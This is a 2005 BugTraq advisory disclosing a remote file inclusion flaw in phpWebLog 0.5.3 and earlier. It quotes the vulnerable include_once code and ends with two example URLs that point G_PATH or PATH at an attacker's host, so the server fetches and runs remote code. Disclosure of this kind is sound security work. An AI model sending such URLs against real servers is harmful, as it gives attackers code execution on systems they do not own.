BugTraq
phpWebLog <= 0.5.3 arbitrary file inclusion (VXSfx) Mar 07 2005 07:21PM
Filip Groszynski (groszynskif gmail com)


-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name: phpWebLog
Version: <= 0.5.3
Homepage: http://phpweblog.org/

Author: Filip Groszynski (VXSfx)
Date: 7 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in include/init.inc.php:

...
# Allowed HTML tags in stories, comma seperated
$G_HTML = "<a>,<i>,<b>,<u>,<li>,<p>,<code>,<tt>,<blockquote>";

# Are we developing?
$G_DEBUG = false;

# Number of seconds to hold cache
$G_CACHE = 10;

# phpWebLog version
$G_VER = "0.5.3";

...
/*== include libraries/functions =========================================*/

include_once("$G_PATH/include/func.inc.php");
include_once("$G_PATH/include/cache.inc.php");
include_once("$G_PATH/include/blocks.inc.php");
include_once("$G_PATH/include/layout.inc.php");
include_once("$G_PATH/include/parser.inc.php");
include_once("$G_PATH/include/search.inc.php");
include_once("$G_PATH/include/comments.inc.php");
....

--------------------------------------------------------

Vulnerable code in backend/addons/links/index.php:

# Original links code written by Twyst (http://anime-central.net)
# Modified for use with phpWebLog by Jason Hines
# Thanks Twyst!

include_once($PATH . "/functions.php");
....

--------------------------------------------------------

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker
_box]/

--------------------------------------------------------

Vendor status:

Vendor has been notified.

--------------------------------------------------------

Contact:

Author: Filip Groszynski (VXSfx)
Location: Poland <Warsaw>
Email: groszynskif <at> gmail <dot> com
HP: http://shell.homeunix.org

-- == -- == -- == -- == -- == -- == -- == -- == -- == --

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus